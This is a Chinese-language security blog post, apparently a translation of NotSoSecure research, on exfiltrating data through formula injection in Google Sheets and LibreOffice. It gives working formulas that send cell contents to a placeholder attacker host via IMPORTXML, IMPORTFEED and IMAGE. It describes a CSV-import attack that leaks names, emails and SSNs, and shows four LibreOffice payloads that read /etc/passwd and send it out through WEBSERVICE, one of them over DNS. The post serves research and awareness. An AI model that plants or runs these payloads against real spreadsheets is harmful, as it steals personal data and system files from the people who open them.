通过公式注入从电子表格中泄露数据

阅读量    33430 |   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

写在前面的话

由于最近有趣的客户端测试,我们越来越有兴趣查找和记录使用band(OOB)方法从电子表格提取数据的方式。我们在本文中描述的方法假设我们对电子表格的内容有一定的控制(虽然有限),但是我们仍然不能访问整个文档或客户端(目标)系统。
我们粗略了解了LibreOffice和Google Sheets,并为每个PoC提供了几个PoC。我们特别关注非基于Windows的应用程序,因为这方面已经做了很多工作,我们不想重复他们工作。
在这篇博客文章中,我们概述了来自NotSoSecure团队的Ajay(@ 9r4shar4j4y)和Balaji(@ iambalaji7)所进行的研究。以下PoC可能允许我们使用相对简单的内置功能来泄露潜在的敏感信息,甚至可以在各个客户端系统上读取文件内容。希望本文可能会提醒您应该注意的一些潜在的攻击途径。
让我们开始吧!!

 

Google表格OOB数据泄露

如果我们希望获取实时数据,基于云的数据捕获可能是我们最好的选择。这是因为与基于客户端的攻击不同,我们可以快速连续地在表单中填充数据并接收接近实时的响应。
攻击情景可能会有很大不同,具体取决于您可以使用的内容。如果您能够创建或上传CSV文件或类似文件到目标中,你可能有更大的优势来成功地利用某些东西。
首先,我们来介绍一些更有趣的功能。
CONCATENATE:将字符串互相追加。

= CONCATENATE(A2:E2)

IMPORTXML:从各种结构化数据类型(包括XML,HTML,CSV,TSV以及RSS和ATOM XML Feed)导入数据。

= IMPORTXML(CONCAT(“http:// [remote IP:Port] /123.txt?v=”,CONCATENATE(A2:E2)),“// a / a10”)

IMPORTFEED:导入RSS或ATOM。

= IMPORTFEED(CONCAT(“http:// [remote IP:Port] // 123.txt?v =”,CONCATENATE(A2:E2)))

IMPORTHTML:从HTML页面中的表或列表导入数据。

= IMPORTHTML(CONCAT(“http:// [remote IP:Port] /123.txt?v=”,CONCATENATE(A2:E2)),“table”,1)

IMPORTRANGE:从指定的电子表格导入一系列单元格。

=IMPORTRANGE(“https://docs.google.com/spreadsheets/d/[Sheet_Id]”,“sheet1!A2:E2”)

IMAGE:将图像插入单元格。

= IMAGE(“https:// [远程IP:端口] /images/srpr/logo3w.png”)

 

数据泄露

基于Google电子数据表功能的文档,上述功能可能成为带外数据泄露的成熟候选者。
情况1 [失败]:我是个老实人,因此在这里包括了一些失败的PoC。失败是这个游戏的一部分,应该被认为是很好的学习材料。如果不是失败,成功永远不会尝到如此甜蜜😉
Google提供创建表单和接收回复的功能,稍后可以使用谷歌表来访问。我们试图通过在相应Google表单的评论部分提交恶意公式来利用。但是,Google对提交的响应进行了完整性检查,并自动在公式前添加(’)撇号,阻止执行公式。


场景2 [成功]: Google工作表还提供了一些功能,允许我们从csv,tsv,xlsx等不同文件格式导入数据。导入的数据可以使用新电子表格表示,也可以附加到现有表单中。对于我们的PoC,我们会将其附加到包含前一场景响应的工作表中,以便我们可以提取其他用户提交的数据。幸运的是,Google没有像在场景1中那样执行相同的检查。使用了以下步骤。
1)我们创建了一个带有负载(公式)的恶意csv文件,该文件将连接A到D列的数据。然后,我们通过这些细节为攻击者服务器生成一个out of band请求。


2)然后,我们使用导入功能将csv文件导入Google表格,并将数据附加到现有工作表中。


3)一旦导入数据,我们的有效载荷就会执行,我们就可以在HTTP服务器上收听用户的详细信息,例如姓名,电子邮件和SSN数据。

 

在Linux环境中读取LibreOffice OS文件

本节重点介绍如何在Linux环境中利用CSV注入。许多博客已发布PoC和其他类似的工具,这些工具涉及利用Excel中的DDE,但很少涉及Linux环境中的办公应用程序。这是可以理解的,Linux桌面远不如Windows普及,并且我们知道,攻击总是会瞄准最广泛的,也是最赚钱的终端。
在本文中,我们想介绍一些简单的,但非常有趣的公式攻击,可以在Linux目标上利用。
有效载荷已在下列环境中成功测试:

  • Ubuntu 16.04 LTS和LibreOffice 5.1.6.2
  • Ubuntu 18.04 LTS和LibreOffice 6.0.3.2
    我们首先尝试使用我们的本地访问通过公式读取敏感文件。LibreOffice提供使用“文件”协议读取文件。初始的PoC从本地/etc/passwd文件中检索单个行,并在下面详细说明。

Payload 1:

='file:///etc/passwd'#$passwd.A1


分析上述payload:
‘file:///etc/passwd’#$passwd.A1 – Will read the 1st line from the local /etc/passwd file
有趣的是,似乎还可以使用http://代替 file:///
需要注意的是,在初次导入时,系统会提示用户执行如下屏幕截图所示的操作(在本例中显示/ etc / group的输出)。


导入后,每当文档重新打开时,都会提示用户更新链接。


顺便提一下,通过更改行参考(在本例中为A2),我们可以从文件中读取更多条目。

这一切都很好,但我们需要一种方法来查看来自远程系统的文件内容(我们不会在LibreOffice应用程序中查看这些结果!)
这导致我们需要查看WEBSERVICE功能。实质上,我们可以使用此函数连接到我们控制的远程系统,然后发送对从本地/ etc / passwd文件中提取的数据的请求。显然,这些文件不会存在于攻击主机上,但GET请求将包含所有的信息,并且可以通过攻击主机上的日志或控制台输出。
根据这个理论,我们提出了以下PoC。
Payload 2:

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)))


分析上述payload:

‘file:///etc/passwd’#$passwd.A1 – 将从本地/ etc / passwd文件读取第一行
CONCATENATE(“http:// <ip>:8080”,(’file:///etc/passwd’#$passwd.A1)) – 连接IP地址并输出’file’
WEBSERVICE – 将向我们的攻击主机发送针对给定URI的请求

我们的攻击系统运行了Python的SimpleHTTPServer,当恶意文件在受害者系统上打开时,请求就会被我们的服务器接收并接收。


同样,我们创建了几个paylaod来读取目标文件。如果空间不是问题,只需确保最后一个引用(即#$ passwd.A1)设置为每行增加一行,就可以通过在单个文档中嵌入多行来轻松实现此任务。以下PoC将提取并发送目标文件/ etc / passwd中的前30行。


但是,实现相同目标的更简洁的方法是在单个公式中引用多行,如下所示。
在执行下面的payload时,来自/ etc / passwd文件的2行被发送到攻击服务器。

Payload 3:

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))


分析上述有效载荷:

‘file:///etc/passwd’#$passwd.AX – 将从本地/ etc / passwd文件读取第一行和第二行
CONCATENATE(“HTTP:// <IP>:8080 /”,( ‘文件:///etc/passwd’#$passwd.A1)&CHAR(36)及(’ 文件:/// etc / passwd的’#$ passwd.A2)) – 将攻击服务器IP地址与/ etc / passwd行第1行和第2行(文件中的第2行)的输出连接起来,每个行都用美元($)字符
WEBSERVICE – 将向我们的攻击主机发送针对给定URI的请求

查看攻击主机,我们可以在GET请求中看到/ etc / passwd中的相应条目,在这个实例中由$字符(CHAR 36)分隔。


根据文件内容的不同,我们可能会遇到长度有问题的问题
我们在下一个PoC中解决了这些问题,并且没有强制性的DNS示例,要知道没有OOB数据泄露是完整的。
Payload 4:

=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>"))


分析上述有效载荷:

‘file:///etc/passwd’#$passwd.A19 – 将从本地/ etc / passwd文件中读取第19行
ENCODEURL(’file:///etc/passwd’#$passwd.A19) – 对返回的数据进行URL编码
MID((ENCODEURL(’file:///etc/passwd’#$passwd.A19)),1,41) – 与子字符串类似,从第1个字符读取数据到第41个字符 – 一种非常方便的方式来限制DNS的长度主机名(FQDN上的254个字符限制和一个标签的63个字符,即子域)
SUBSTITUTE(MID((ENCODEURL(’file:///etc/passwd’#$passwd.A19)),1,41),“%”,“ – ”) – 替换%(URL中的特殊字符编码)与破折号 – 这是确保只有有效的DNS字符被使用
CONCATENATE((SUBSTITUTE(MID((ENCODEURL(’文件:///etc/passwd’#$passwd.A19)),1,41),”%”,” – ‘)),’。<FQDN>”) – 将文件的输出(经过上述处理后)与FQDN(我们可以访问域的权威主机)连接起来,
WEBSERVICE – 将请求这个不存在的DNS名称,然后我们可以在我们控制的DNS权威名称服务器上解析日志(或运行tcpdump等)

在发送此消息时,我们可以通过我们的服务器上的tcpdump来查看FQDN(包括来自/ etc / passwd`的第19行的编码数据)的查询,该服务器被配置为该域的权威服务器,如下所示。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多